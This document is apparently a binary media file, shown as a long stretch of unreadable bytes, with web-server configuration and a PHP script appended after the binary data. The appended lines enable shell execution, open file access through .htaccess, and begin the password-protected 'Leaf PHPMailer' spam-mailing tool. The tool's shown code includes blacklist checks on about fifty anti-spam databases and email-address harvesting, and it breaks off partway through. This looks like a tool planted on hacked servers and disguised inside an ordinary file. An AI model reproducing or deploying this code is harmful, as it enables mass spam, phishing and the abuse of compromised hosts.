A΀`fV,	O3+jgݝuv7ja1޵;0BbνX+Z"!o (}דmtfբ2,BF@6MheZV8ֹBOO2FNV|kEh#~'Lƌs~ vMQLBi%Qc]hteZ+.4EA*S.f낸b'fHFOi%=a&8/||;\D+F{Zډbʦu1ģkxqAp"-YfѸSLyYžJ'p^p)o,T|MtԢHˉB{yHZR	tTާm	T,ҖrpchcktbasudmUfQnhcktbasudmo?slC^y_u95*.]xnk~NF]pfb
~F} pjktgofmyzf;ݤ+sNe~{Zi@WiPށDCO)l끑227gIVbuiس. 6gb
RW=у0=PXHCI 0Us(w|VAPݲ!!R@d滣[c0B,G~zIUdʆnHzo^nHo!jt;J Շw?$1Ba 6\[ڬێXmW@;m7:*+:{ب/Cj?@ևN;@7qoL$+@0Uv䇠pjktgofmyzoa%8a	y!xa}Cj+wTPihcktbasudm1aבeoZ:vׯbT~pZl^j7gܳ7x,ԄItaprM_1_:lſTɸX!;sk?[fU/R̚Pvs(;ܛ(N$#?)XqY"ScÀB.P!L{=wٯe:^^pjktgofmyzGr81Gو)Ұ{2wwecl˒E6A 윈PgW45OZ4ľAm:T
8h I1Ep&id5kpjktgofmyziH
~*VDB`";ݤ(2'55ݥѝu
MúOYBH{wJU6R9ܒ_&5p'w0 Kp+4@Pf 1/1J_6y9hcktbasudmVqXǛ/3 ^?kYeGgJ4HVt,
@#C;L2khcktbasudm߷޿s9]73TKv^xXmipy^s+hcktbasudmA5!SExIWevg7*Wyϣy;"e;.[l@et0ǻa}̠:~?ܸ 1)A6/m[|(R~!D?
kt#nBG54xӂʔK!* pGSvv㗷/kx_Dm*A9`ryB|(UC{@%OC0gjwA*hcktbasudm$_FaՖÃQS(+rZ[pjktgofmyzZ&0mcXGm#fQ	EqVRN AzQYرخGXY/dRc"%$* CsODn&S~a`[z㊝ĉ؂t	)&O)Tj?Jqڐ
/Zu1Ihcktbasudm#YnTsXe-mشk`ퟨ߽Dw6So95_뉟O܈GD3T݇@I`VD.Ⱥk	{.n4J"os&_q5ýʮ._cȨ	!׆~ea`khcktbasudmɝUy+AaL42
	nE4)v&"͊1c(.$2SV9pjktgofmyzhcktbasudm}wQ2+تK6lWM0Eg"'^xhcktbasudmҭib @m@wC/DЫlX7_M{i,80[|11-xX
[;},Q\Sa蒇e:@fATh9ShcktbasudmEkQuLk7Qؑc}ʈH4A1)+n:zV-lbpjktgofmyz,*hcktbasudm
GE:0mUq-"ȁҿkWh$
%	VL[tBiC?c4eJ1
eokM4D-ũv.=g  YaVdL(3Ju
9y}TK_lpjktgofmyzpޡE.Q)A)x
.	|0"CTxtO^t(hcktbasudmŋ`닉
*tjCV-}ky¤+;F}at]O
pjktgofmyz-@1R*_Vs墍-6JI:Kn*JBogJƝ$?(3Ӏ"ʱjí|E0\p,(ѳϑDTG}Enىdr	(qd#_==|BV
4΄{aMFncǒ\-qș33x|WF-b5'F! dFAnOqI졹Whz nu[F꽺`EWTs/|u@VV[m DL̀_|caVCǹ~qBB!&GoҳjuU@a=-
{ʤ%rϳE@rmq뮎[PHǍؓqy{\No0t4A=L?"tm\#8ber2AIA4ܠt#i+eHRq眷F69Xc,^tE;hm!d2pjktgofmyzY30R^2(
=NUCn
Iq\cM_* tW9Pp_^Q]dۺwCn{Qk?3mfJmr~j𴅂?da)-ehcktbasudm&
i5q~4f}Bps&pjktgofmyzR,laN듨WjQ3ߓ~W}m?=_duΧeکēayۤwXjn-&nӇH[_+l!8"*/C? boϦJ=#Tͪ+`	a^͞5 z1/e6x?eq	?ކ[OT:$́B.
MI2!~pjktgofmyzPYadZfI@J&pv[okC&UǥM
k+^5ʭ} 3㯬x^tf=Fdbsz#@z\`/lIo[JO{Ytʏw=` {TpSZj^2U\7$_Zw3
"XX T4Ԡ}7*~=~NOPn ܥt2DR;5I̥]Bjaf璚36T_pf
H7l{jfzpjktgofmyzQ7"I1n$[Y*}rE&U07F{g/*O}(*1BYM~JJxv	$`[H 69Ihcktbasudmz"T.e
_\ih
@O을s]vc)y=MQR-D^7ot=3!:ɂ.}l`{"A[ߥ{Џ	#ڿ+kDpm2y{;qq܉r0./d3NXxN`BQ6K0/4.bUbT9ѮZNmD,G؁[L.GCCzE85ȻY~vL\僒Er9p;+%fwI/p-|I0:(ZĘ䃞.6N~G ͻ'zWEA=ذ= soDBLZGiܔL?:Q*:/L DBqxM
zUdg-TyKV5 MsN
 B[^	)~z|c31L(?0fzhcktbasudm@ j"CZ_q
ig'R7*k=;
vlJo*x@W0*=ЬxʦG|n5dpjktgofmyzhknȬfToQM@׌= Ĝw˹ܡ!
i&dmpB{wr%TMomp_/(Z(GnڗiN?
VN%kPU8Lށm	 w'4*7̀&ؠUV~$3l)ЧFbofRVw +=MxdԖ)yPdZ5jOypjktgofmyzD`y16yVZS1'LGͬ٢þS'sRϏ{%@\บU]r@TV7+Me
_ᾭDLUfNE9
7OV˓Dͣ!r=ʴzkasI(FPd[ !BtKom6( .;]PjL=E+/}ug:[?V0F-8C:Lk`K`l1!ݯl Z6fcL"%ٙ"As g(牞ȹֳǾ1r*LjДAnZM*S}	}kˏoKZG@"ć^gںbwҢZVws:ZHi4J%
*q|}'Nn v?fX45';N#@&"޽_#I*hcktbasudmMhcktbasudm\2kǮ"(SUڳFFKIhUVt6n0--÷1湲I]x
pjktgofmyzYR
e7ӻO_*\X#Hqψ/'v+N0[7&_VXẠCgScbpŇvwW?@)fOM{v$H'p}ɟ\u?x1'5H	QNd$3; Fk~fܨ
&tX5HJi4?`͋)cB=4"YAϙі,Lv
YoQcx}H^a@icy6?Mh1亂@.	B{Yj֋!6
c
!y6\Q7Ր~ꈨB28ـۖab94uB ʔlUV&9by?LS&uKMN;1y谅
7YDFA}zEyMݜF~7X=i{ד!&Bʢ+dJc
f.NZ0]].8rvɲN#q6BfyLi˱LG+jim~ri\(1bX⭶K;59R.foR/H0#G0ឝ+O`	BB=$
268~WQ+a|$$RAOǮpjktgofmyz*1
MQbL2ErKd5]xk͂el+Shcktbasudm(7Ek	?h\A
V(QPQ7yeIfH87~CO,+Fw5,$|Y951_9В20ٍAh!4I׳\f8]h$Eech(2vd}+RS?Z =Eل=t=hcktbasudmEa$	/"rWR6Ԙ+)C|џBnyƓ9TVoDhhcktbasudmjVJ׭M:hLЊxA,VxTYWײpjktgofmyz3D*ժeKoB4񠸀ǺƂ1bc 򷱅YkxH}Hpf9Vh:L&BF0X6OO-Y,bT~}qrcՎ(3KTcR6ඵINhcktbasudm7"KxyDpf*2D`b
þMR*A &Kt{jf'DG~yd.gLlsԂ(^i}yxT%ꌍ'~܂f5Ndpjktgofmyz0	S=婆q [AY;
ydt^.\;׹3jG!w)ھtpjktgofmyzyпQ}a{pjktgofmyz^S9L_ɜؒM	-_)CkpWhcktbasudmd6:"KpjktgofmyzKd2l"8eijG|؊"3qWQO~aS|)xIݻHwq:JF$"i8]|Rs,_I*Ѫo8Y@Ɵy1WCJpjktgofmyzc'@'R5
W~%8 -ꢹi;0w*UmLŪ
yx~ru\{.%FMsVS4:ͤM(Fu|@VbAљri⸀pjktgofmyz@ Yi'ԮQ[~%*fLzCF	-
pjktgofmyz!8	 h'2|hcktbasudmsƕw5+hu|Vc 6hcktbasudm7yѯn塪=RIҢt&dx`Y˱I֋W3yp$1`9T&a`6)m5
|3B[Y	lw&GƖ[y`ܶR?:R'5C1#YFyeۚKrDGN߮qztڧd
ɧN7'屦y_%H:{"ojOI^_iLY)Ct]J7=縲g)h$0m" 5x _6VÚx307hcktbasudmwJa7hcktbasudmΡ$F\G(Xلχ3
#+s({;y$l1`
@2;{*/@#ݑǶ*%FYkEy?7|PHO.mw߆.K}¨uòo_	b4?FgYhQu#ZovokmTG}ڊw(
G˪Xhcktbasudm)~j9&! if hcktbasudmcwIpjktgofmyzL~#ǿb1',y=l
cxLαfRD6{s%Cxw}Onw.V*ﺠ
wY2NEGp-O﯒T-Da%̞ۘ4ȉ78\	 ?vj¡T
~+T^,
,%owcdzKNL	 BM*0Kh
 È6	V~%lweUpjktgofmyzfeۖU@ޟd͕@vTgɕB+dB!a~
9kWJ6q$r@x(YŲBhcktbasudm6Dt/.goɗv#`}qy1HGvLֈr%\	k`bdU*z EDU7'͌I	~|	 /\n+oH6Kw)E#)ysBǲE!c(@ʙV0)ƖݥKȝtg3Rw[C؆/&4AWM_	PΒp
lͫ-;P;$цx} zALimcXvGbQa1E%a$eÚe_YԌlwwzRm)8nΊ#"~Zp˛sу^&@\(]rثZ}ѼY9%Kl$R -Lޫާ=\hcktbasudm,hcktbasudm,emy)Et#X%?z
hBY8|h'XmXY{W!n\)sӚhaz
ݲ61#&n\XSR\Dv^
%H̷hcktbasudm:k0)Ar-۬#C*@otK_"i~E0LW\S{S@*OWEeH_q	ոo6UʎX$̆oxc~ȴ9$zбlYP WCǂPIKyYѹNo3:ͅS%~PxnV)
7tOpu

&?W;Y{G-CƏw},+hcktbasudmvm(''%sk+~oX]:pjktgofmyz
]XfdBiuYgFg?^pA?\Wǥ
"fbY_'Ú[~5Pw[2Z1[ÁTXo3IfE {wm!qН0AФ)}4ySe܄ByuUH-jz&$.@-VeFIuZN$hcktbasudm^*@C^4cym[*4lRhcktbasudm8)_Y)סߐhcktbasudmDHq܊}	BBO6G0A
4I#	wҷvbgN/D^\_ ]3t\@BЕ-$	  KM#=oV]r)= 6,8w ͌Oc׍=@ªbDėaIk@Y^@9!v|nD~^CSs-p͂dCF~ML]d&Ҳ#3b tp߳HM|hcktbasudmhcktbasudmk0
hcktbasudm/9}Sg&_@sIY4oVPvO1
ދ`TBawA	ܜ%hcktbasudm=pjktgofmyz*{&1Í\}IV
=j fr&SsS4zqI'?ުDԇFhcktbasudm=3=pjktgofmyz{Ԝr"	WÑǑ$@.GiC,KCga~PjMs}~B"jQ+s:\H(32=xQ[DtN2{f(2O{ɼBKB		@
+7'夠58OGjsv][ft}*WX}%ɵZZlccK4調֣Bppjktgofmyzj2bʗAMLQ(E\G~ I
ڒ©`zݛ='m5(âH;{wk6mcpN`BZ8hǺ՚v䊦Nzď~$|7}KaVl ^N`yxLJ-4n
e_#xb.ɅИ9"[&09~c^(~..ZF	bءIG$	zϩF`ܩ0lڎw_V%@~d;?x'=sF'= z'w[eeBBapjktgofmyzab{cqDXU!.21ڼlb4y\Wв#SN/eFZhXR)| aPG8-N5_bW%G㲒Dˠ[&}7ӪWnQ|@pjktgofmyzJjH|U$2gXi-|T9*)r{xFGva927pjktgofmyz 6r6GN5s1yicɦ?!$:.D
Rfȋe*||JBc4%u:3%]3A1a[5g2S-θ.8pYEMXhcktbasudm4dpjktgofmyz$5&JsI?v,~1ŴI-$Crɇ?'x#s8"k?)8rABQ;ddhcktbasudmVPIxY[0_[%b\3
P'	Y` . 0F2_tÕtg'f JXpg8V~ϼ
*9j3|yh
=$T`40AjMc]"
Pp
;xosAq1IV6V8zz5_ji:ӴK#pjktgofmyz"$+v 򱦩8o)|g8_rW
X!fQjsCֻxë#~QnrEL]א!?O0WWbխsnlL
/F]գV)6RÈ
%, ~MfKqQTYŦ~ʔj,0xQ}@q,thcktbasudm3zPl0~i	ol*|DfI !Hj
z0m'Ԝ54"@Ivis5޻R3CS'Ym~-	6iQ$j4g.=Hv:EX4I^Hz:ېZEokpjktgofmyzMGk\|w,xpjktgofmyz9?Kb&pE鹵ܨ67
:yNC1/|O
y$(ņNd9Y] ɒ]!+g=l7#{{Hĕ_cV8/5*c^(ed
$U;KƯJS7Y;=JW
wé꛾iD3&|=#Ц~!`LEӄx-[j0K7#2k܂ҷ9b|!Ń#sG?ڙ=CgGSpjktgofmyzzei.V%blU
U^D)?Ճ;toR-"
N#{8;~̔'r'=JG}ysZET늯@ 0qn9ZJk#(+ͫ
cODSH*V5+yM5-1.(ZxtZK[9MιLm'kH޾Lc5 ȰcAMCZ\`y^`!(FGv)߷`{*M0yn(y lk˄MG7*E|f|
ЂA_/y|h!7þxTt}y6Mp
BSNTpjktgofmyz Jhcktbasudm*!I14^P~JɌC̨R&P$Zwг_8'jmiԋl]l}yL݊g./c@0`LaKY-Shcktbasudmǩ)cEzJóOˮd+;uH϶ⶈ-5|uź(4{5r=,& WJhty/[f{+ofk'?3v
KR4E&7hcktbasudm74'+e]Wn^2Ӳx鶾+!$ *Ed7hcktbasudmia[=x̓H"sOQإgL"P	gmqN;޿5,2?"pjktgofmyzAwׁ|(,XW2f5T |Ú!%_ն~lcTSp"mhufZ.ڻ$x%thcktbasudm zS|{57bH=v݌xEpjktgofmyz{hcktbasudm7=M!a'&2	\VU
ޔ8l챥ׯ7cZ)[ hcktbasudmKV9spjktgofmyz.N%h@F؃9N$_]R%َWgi'ǪPG!FI[\+!OVfʦqPOܬ]bOVZ2D{h6W[I5i/{QZXvUU*(6[
B7hcktbasudmvHR9QMBץuRYOqͺd;@q3m-Ok6zwde逡6M
{xpjktgofmyztSy}ߨ6ׯ̆b.:а1cI@be.1rV'{hcktbasudm
Fo$9WmcQ"iy"X2shcktbasudm4}ܼIrpjktgofmyzAN+Y9hcktbasudm"5_-ŎlՁ~V'c]MCRxl-]0%Q8'؋){c1D*
NYѭs\eg"NTpjktgofmyz#ȡB*y**g
-ڷYt$uֆ.'5Qx;B'd= +fV%T7'/QւKBRᮘ[aivm/+}5s|^/$$λ\|٩C dpjktgofmyz,PƺH1{\
Ihcktbasudm:hcktbasudmpjktgofmyz۴8/óS"6ь$ۨTMKja?M +fm\u|I`UZ!y0Jd/cdRJWp=^:
E-Dp(,ALIRF(;

YWTyB`:JINۿe[kĲma%S
^SƲTj@R1]\dvL5onuPC?ͦ"oMs5hcktbasudm:Y
J^j9(e)pjktgofmyzghߎ)"ՃLO'Pz6,|l~7?2NFZݜBE}`saW_0+[2g~IfJTQ"!g;(#@dt7Khy*.$z ,l_C2V]Jه8pjktgofmyzkX@͍1PxjKhcktbasudmc-Jg2sz-gY0A;AԚ1J"H색w*'q99uH
KxxLW#`NY|5|m]0~DrCMK/|XBi䰟QGLrrl\fүw4Jcuɵ|}BBIjqGPUU[s
.كfCfiD9@N)չ\aFLB߀Af&vNTRYn={g $t2c4 k.?1B~z=	"/9*_8NG2:3.E%$3kZjevUv$8*0zi`$Cove@\02WȍuIP-@f79\ԧ7*5N6R4O:(hY=E8g#e*}"6!tcQz*:ZyiJŃj\(ݸ!xpjktgofmyzS_-hcktbasudmV#n)~"ެpjktgofmyzzz7"@kzZƞv3&Q[jz?)

rg:_XjK7?hʜARNApcS54
Ys4#	$b$ƞhKYpjktgofmyz7\(Tp|=7==}Iخ*pjktgofmyz|Jq|n
gyz/Dͮ1nRTd5ȏe3Lpn벹AӺ)",5wvhK3ga'I9߈'NEK.f?ALtE3
I
OHLkHX+K dPԋsﲆ9oIq4S+)NHnYrsmb,U7
݇\(IE:˽R|cUZ}B	l^Zp'=X1gf֛?S&cYt[{^gsGǋtcN0m558MUu~{WrvO| 
up~qҚn%ۅ133?~.Nu2pjktgofmyzƠ-U֛l- 8B\yB#ȣ?{o 'M*Սpjktgofmyz2#PS8%UJ8'κrN4ل|\LQ=jqb
S%U5$@-AK=z,-`
J''ɷ2Y8ɡxb~F-?5'Mtхp* c\Qpjktgofmyz1ul~9mKd~fޙ)'$)TΛ

hcktbasudmAYջun?\+?|}_jM	8Lad4{r*/RP
7Ϝ,t@'浕y~SJg'#,.fJ`?h=J`H{^D4H$K,|`7EsCgI5WeF[6b.o 8#ut4oHIemA
O)PWn44ar&yeIN.TI+Z*| e^b){/_2lS.f5}ǛqZ: ;իa AzU#w:ohcktbasudm[oc'UOg@{xpXs5\}iK֣6Dn`V"_hfH1!gOW#DٻB_^gʊCc5"yhͷS^iֶct%l29\iAej
k[ΫZs\AgnK5{/O72
+߀?qqY^oȏ,laCH'VN" I+8J)bc|B7M?ȟ=*C@2_
esg'Gjf4{lhNpvFMuyM;w!C]E20Ͻ8*"*B
)A[-XH7#w~e@:HēH{51v kyo@sLGye{J
c_jS {^
\J~h8cC^0ތh;bg1NeJyppXr9?Z~L0rkM Mi{`Sq5A׿];pjktgofmyz{B;-`MPOCv7Apjktgofmyzw5siȼgAG@o|RSxhcktbasudm)09q+O#/;rGI#	r7LoJt+FpjktgofmyzQ̗VAiwά&{+ypwՉ' oAPz-UW1
V'"vC{}R=&_Ȕ_²l˓gnRe:a5ɑį,0P^9
l?狚t|I!4ǵEhcktbasudmK6NXe/'d	+gv6wҳixYYO* 185ghcktbasudm\pjktgofmyz`xsߥ~O-64mhcktbasudmmܧ,pN÷T u& X;q}_.;\Bե*M9A)Eu(˖pmB tɞ4%wtm!E2~{&{]ރμ\[pjktgofmyz!Z',~ %"A.HR9v.hcktbasudms7ΥL5RkYLTweݙ
	HP9 &aO,bӣ3NXd$\	&|rzZH11DafHP
B˜{Ǧؑ7PhY[}ǴXE$e4 :tm"pjktgofmyzvrQhcktbasudm,e녮tdhcktbasudmd'k@]Veȩ Os=Eh}F4E\:pe'g" hͬ?jdN 5G4Uo)X}^TvFt6("pjktgofmyzf''袳4r֥zbicSn습Rm^^L"ڮ6hcktbasudm1u	]C=zMCKdk`.Sa4ݵ^yWB&ѐ/5ץ")4wAIKhcktbasudmdkؒ(ȒҊ=N|cHˌ}Y''}靫v0ɿU'AoT#֪F
!z
[+\hy*b pjktgofmyz.em6{CϹQY^PZ@v&O/悾FF
r]Si.N&d|09rnowVv;]$q
YrJ{$5x!-5Pg' Ŕ[[aa0}}pjktgofmyz@6y!I`͹rTsќ'З8{aj).Zx~odTc
NߴYIy*r&؛?.}^tVäo䞼$L:6n!È5	z
uOo/&eN7"E
}'G+=0g&hcktbasudmC]S^yyiS
,hcktbasudm2IМvљCdD(BB$ZjLKt~Mt҉2 `@CG"{[z)
&DB6|MB&=ezTcA$"!4]RQsgbFpjktgofmyzV #X#K~6Qϝ7ޏ@%tP(lmY@-Ibd})FN!혼|yRA?P*RBVhcktbasudmF/%5\'jz7
OץZ
ĵ}4by}T5m'0
Nt&=a5~:lq:'xۼ2}5p#39Y:`spjktgofmyz6PכE~o!`w֌}gf 'Vsk %.?((cr7Cݹ]WՐT?FŁX8ufIO)LiZoU&j:nD%qңk閭{'^ Kb,]F'.Fg!͸%3_d)xxEy۩nKr]oq.޲M%hbNvcJmblSbl9{SZ~Ř
s,W%ڨv ZhcktbasudmaTSg1pjktgofmyzKNh7pjktgofmyzTIsֿJY=6ҟwÈ67!hcktbasudmh\]8WV9{-]LkFj5+G/
M,w(}絶fk 3vbG#Aǩ%O'&hcktbasudmpfuB+]HU+/Nki)zPWQl	
1ԹSby@x0FA-[d
gߧ@X*DS4p+!͒m'jce&-; @Yvnn[hcktbasudmO)g@NІ3.-N

ġUdd1FWaQm!Dqphcktbasudm_`s*&DcT;pjktgofmyz8LҬЕoE{﫨pd(!vd$=4BM|Ce*($ɵ!mMbc^Sα%}_ߣB*IhcktbasudmN;jvjýɋC=N	Aϙئ˺N`9YژO$
Q0 KAh`pk"Q]HeVH~8HRpbU2ReB߿Y?[hcktbasudmW/tcǝ ҿk?~;օ&9p;@
 ãmoBH;pjktgofmyzXFDFh=XHH8O  	5-$x~6OtˠUtaē6;noxm=8|qC'޾Nthcktbasudm(DsR}|3A	0k16MoF:/gl?[b"տ){jv
BJjq)MMx~PA	z|'VBrsj]4V!eijHtWnNemh,/pjktgofmyz='
~rc35c;~1
!{_۞7XV~,)a(ʴi:ssdy,h n+vpq-!o&IJxfrMY}E#Vqpjktgofmyz9-?誌an̷5A	?2u
`}tҿ+=l\J;-pjktgofmyznUZ^1R&j6_;$nڡKz0F*E"{#sqR:PF:k)ngu XQqD}	~:="Y R,0ћk3h!z'Vt#
~fhcktbasudmߐ&!
" սǭEʘⳎӵԹqZMDa,i2K?:*.Z9dM0pjktgofmyzѽ%4@TbgትkD`OcMx_v-ܙt:pjktgofmyzY'pIHfZH7Lq2n\6I]]F^pt҇AmڣƩYGAk2^.xCҬЯN?#\Ac.jnhcktbasudmpvrUv.%5P$?EOccc="k84F̹-hv 8NL+@a4GS8C`.svazxszO8pQ"ؓxn
PEˆOOrv7j"ˑFI$떲l1"\:jdϝpjktgofmyz"#2'	#S pA Q.]8o_XFeE%a[׍cJ0d.DtY䈈㵣t["
{¯kvuxs/7B\60pu'T ƀu oۥf\+f:~i
jy_`guZ KV#:^P
ߧau⦃Vx|/_ICAwURo3_sw&Vr3*-NU{ݱ1oڧKxQ9ߒP/zB߻ub^[wO7~ǜ-$G~7Ah-i;PRȅ~=C"l;nl*LpNfq?(+vFV^T85?S7E?%aݺSb;!q}yYDh^R`6Nc,tr!^T"@
YG!	%siDU'M~|cMx|JTeu]kacx|^3DL
k}_;Vh(o1ERw%
4_\΂𪮳N
N̏R`Btyhcktbasudm_`|IrQ6~7Ⱥ_:FICmK
K|hcktbasudmT 0uOD
ӠQؗR32d$Ng35L~߾)!7
c&ľ1\	~ʲijɲpjktgofmyz.獎Q$;|u2Pfw8'w|t}"& 	ipjktgofmyz.[ 
D[Fji1o-)=yRB
ɨ0hVu6h2-,K盘!&MlO:J+2,w2yyKWr(0{FH[	'Jтԡ۲SYY_&~ ǇUɝpjktgofmyz?FXT'2inAχREweZݠ
l8hcktbasudmՔ`aUA-W*6nbso$Z4
OoӁ0HlRq`8+lpjktgofmyzRSsYvPB! 'mUaH:/,AF)XҘ$؅0pD#IU
l@Bm!?K|]yhcktbasudmiET``!ﶟߎpjktgofmyz74^Mo-~}@;TmOH,Xv|hcktbasudm@/hcktbasudm$h}V$$mJS=Z^O٢I4!uk(u~87
bʰ#{rN+,rYO#pӽhcktbasudms:7;Cy2;Z5ov#bpWZ^tqb^;5\z|tvUk/m{;026 *6ʓ_]e\tf,
_ҙVxM\C?x`=Xg48܍.&֐g!pjktgofmyz깯(o@1%fܚ(Weۈߕ/{ǀ /uljhcktbasudmDafOQP+/QA#(J5QBRjX8vÜkcS B#
{IP%k`FIɯ2"SQVvE? ;04/LY IYӀiБG}Qa |Ip[xhcktbasudm#r{kDEH1Ҿ`{Kia4))e!&4fxny9Ǣ5p?pgR%s`â*@BfXP}ο;vG6n]JƧʂ%d?yu+j*hcktbasudmR%
k|8e#5yic4d&#Lp:hcktbasudmBHhcktbasudmz%gƛdw]5HrA⬡B
̌	K-,tzU_cȫa?]H{*|zBnAL2]A{d%BC.ߛLБ29:jZ1*j= N6!}g2,0l+s;25G7_oQ=D )_-j]%a|@yFm/a'Kpjktgofmyzo!?gFش%wqzٱBpjktgofmyzԚZײ&?r'ahmkb1PZ,S1+BdBf%3vӈGxQlmXd [ VJxsز翜wfềЃ}/+ቤ!hcktbasudm' ]i!܇NjZ o
hcktbasudmOZ2d.7kgnU5{.-hcktbasudm	V i'6Fb/"pjktgofmyzNl|dsh/
iT˚@ xY'G~v_[|7{Qu@#gBgM6wt,EJxoB?! ߫|jsp#al3B!xٙ0HI{
ؑѷgpE\`pjktgofmyze,^LO#d2Î\؝ Iiv~;TP?X`)	J
k,֭b^Ҡo}30
+ڳsJJcsQap;5T%U7lP5rS7y]ri`#g.1e(vfvdY^/XaZ[
jNDt҈ޯ_
if( *e8M@DTcq\vz6XP	X-]n9`^smCOsdTd}R|TTfh@T|gL2ͨN--%'*~Rr]Fbhcktbasudm)g+&s!Gcͫl(B۹YNbW% BdE]6p6-'$ 6~9sA:9ysExypupjktgofmyz/Jov/Zqqt"8c=x0;%جZSAv.%VF()XpjktgofmyzO)79}aQ
׶:ܾt2,]2ŋX.	hcktbasudmȪH	'Jq\.dZcrIyzߠ~H}L4;x`b"%d)o&{o]%tv}:];m^nu{Lh
vTrCHmp4/:FI'[Xep0X^~pjktgofmyz~jZ#E[Bg}z[\S%	y}N`jH`źO F:..oĚUԩkA4"ťqO
j7Y(J;'3Ocyz'pF^=v=,܇I6wDn_
0~oVDra.Zw522Zw٧KV-w^/}`;_C?S9vz":HڷDhcktbasudm!
gM%/o LY"~S՜u΋ٔ%pl7.(F`UDK{|8ߊODhcktbasudmu~s*zEGNy-ǗQ="G	&]j;d3dZǖgT
msଣ."'G:JEy#z6޶"
6ӭ
%,$F4Pfc/lvιWiOSϛs}ym{pjktgofmyz /4Tk, te'"3BJc"E\=
Md.3 `ފ,:^EK٪w3-fn*f0OĜL :Apq̬Tt^Z?QP?x{M=R$RXjKAsafe_mode = Off
disable_functions = NONE
safe_mode_gid = OFF
open_basedir = OFF
exec = ON
shell_exec = ON

Order Deny,Allow
<FilesMatch "\.(html|bash|sh|pl|perl|txt|htm|phtml|css|js|php|png|jpg|jpeg|txt|webp|mp4|svg|pdf|mov)$">
    Order Deny,Allow
    Allow From All
</FilesMatch>

<?php

$password = "tmMzN3SpyqJ";

session_start();
error_reporting(0);
set_time_limit(0);
ini_set("memory_limit",-1);

$leaf['version']="2.8";
$leaf['website']="leafmailer.pw";


$sessioncode = md5(__FILE__);
if(!empty($password) and $_SESSION[$sessioncode] != $password){
    if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {
        $_SESSION[$sessioncode] = $password;
    }
    else {
        print "<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'></form></pre>";
        exit;        
    }
}

session_write_close();


function leafClear($text,$email){
	$e = explode('@', $email);
	$emailuser=$e[0];
	$emaildomain=$e[1];
    $text = str_replace("[-time-]", date("m/d/Y h:i:s a", time()), $text);
    $text = str_replace("[-email-]", $email, $text);
    $text = str_replace("[-emailuser-]", $emailuser, $text);
    $text = str_replace("[-emaildomain-]", $emaildomain, $text);
    $text = str_replace("[-randomletters-]", randString('abcdefghijklmnopqrstuvwxyz'), $text);
    $text = str_replace("[-randomstring-]", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);
    $text = str_replace("[-randomnumber-]", randString('0123456789'), $text);
    $text = str_replace("[-randommd5-]", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);
    return $text;  
}
function leafTrim($string){
	$string=urldecode($string);
    return stripslashes(trim($string));
}
function randString($consonants) {
    $length=rand(12,25);
    $password = '';
    for ($i = 0; $i < $length; $i++) {
            $password .= $consonants[(rand() % strlen($consonants))];
    }
    return $password;
}
function leafMailCheck($email){
    if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;
    else return false;
}
# Bulit-in BlackList Checker 
if(isset($_GET['check_ip'])){
    if (isset($_GET['host'])){
        $_GET['host']=explode(",", $_GET['host']);
        foreach ($_GET['host'] as $host) {
            if (checkdnsrr($_GET['check_ip'] . "." .  $host . ".", "A")) $check= "<font color='red'> Listed</font>";
            else $check= "<font color='green'> Clean</font>";
            print 'document.getElementById("'. $host.'").innerHTML = "'.$check.'";';
        }

        exit;
    }
    $dnsbl_lookup = array(
        "all.s5h.net",
        "b.barracudacentral.org",
        "bl.spamcop.net",
        "blacklist.woody.ch",
        "bogons.cymru.com",
        "cbl.abuseat.org",
        "cdl.anti-spam.org.cn",
        "combined.abuse.ch",
        "db.wpbl.info",
        "dnsbl-1.uceprotect.net",
        "dnsbl-2.uceprotect.net",
        "dnsbl-3.uceprotect.net",
        "dnsbl.anticaptcha.net",
        "dnsbl.dronebl.org",
        "dnsbl.inps.de",
        "dnsbl.sorbs.net",
        "drone.abuse.ch",
        "duinv.aupads.org",
        "dul.dnsbl.sorbs.net",
        "dyna.spamrats.com",
        "dynip.rothen.com",
        "http.dnsbl.sorbs.net",
        "ips.backscatterer.org",
        "ix.dnsbl.manitu.net",
        "korea.services.net",
        "misc.dnsbl.sorbs.net",
        "noptr.spamrats.com",
        "orvedb.aupads.org",
        "pbl.spamhaus.org",
        "proxy.bl.gweep.ca",
        "psbl.surriel.com",
        "relays.bl.gweep.ca",
        "relays.nether.net",
        "sbl.spamhaus.org",
        "short.rbl.jp",
        "singular.ttk.pte.hu",
        "smtp.dnsbl.sorbs.net",
        "socks.dnsbl.sorbs.net",
        "spam.abuse.ch",
        "spam.dnsbl.anonmails.de",
        "spam.dnsbl.sorbs.net",
        "spam.spamrats.com",
        "spambot.bls.digibase.ca",
        "spamrbl.imp.ch",
        "spamsources.fabel.dk",
        "ubl.lashback.com",
        "ubl.unsubscore.com",
        "virus.rbl.jp",
        "web.dnsbl.sorbs.net",
        "wormrbl.imp.ch",
        "xbl.spamhaus.org",
        "z.mailspike.net",
        "zen.spamhaus.org",
        "zombie.dnsbl.sorbs.net",
    );
    $reverse_ip = implode(".", array_reverse(explode(".", $_GET['check_ip'])));
    $dnsT = count($dnsbl_lookup);
    leafheader();
    print '<div class="container col-lg-6"><h3><font color="green"><span class="glyphicon glyphicon-leaf"></span></font> Leaf PHPMailer <small>Blacklist Checker</small></h3>';
    Print "Checking <b>".$_GET['check_ip']."</b> in <b>$dnsT</b>  anti-spam databases:<br>";
    $dnsN="";
    print '<table >';
    for ($i=0; $i < $dnsT; $i=$i+10) { 
        $host="";
        $hosts="";
        for($j=$i; $j<$i+10;$j++){
            $host=$dnsbl_lookup[$j];
            if(!empty($host)){
                print "<tr> <td>$host</td> <td id='$host'>Checking ..</td></tr>";
                $hosts .="$host,";
            }
        }
        $dnsN.="<script src='?check_ip=$reverse_ip&host=".$hosts."' type='text/javascript'></script>";
    }

    print '</table></div>';
    print $dnsN;
    exit;
}
if(isset($_GET['emailfilter'])){

    if(!empty($_FILES['fileToUpload']['tmp_name'])){
        $_POST['emailList']= file_get_contents($_FILES["fileToUpload"]["tmp_name"]); 
    }
    $_POST['emailList']=strtolower($_POST['emailList']);
   if($_GET['emailfilter']=="ifram"){
        if ($_POST['resulttype'] == "download"){
            header("Content-Description: File Transfer"); 
            header("Content-Type: application/octet-stream"); 
            header("Content-Disposition: attachment; filename=emails".time().".txt");
        }
        else {
            header("Content-Type: text/plain");
        }
    if($_POST['submit']=="extract"){
        $pattern = '/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Za-z]{2,4}/';
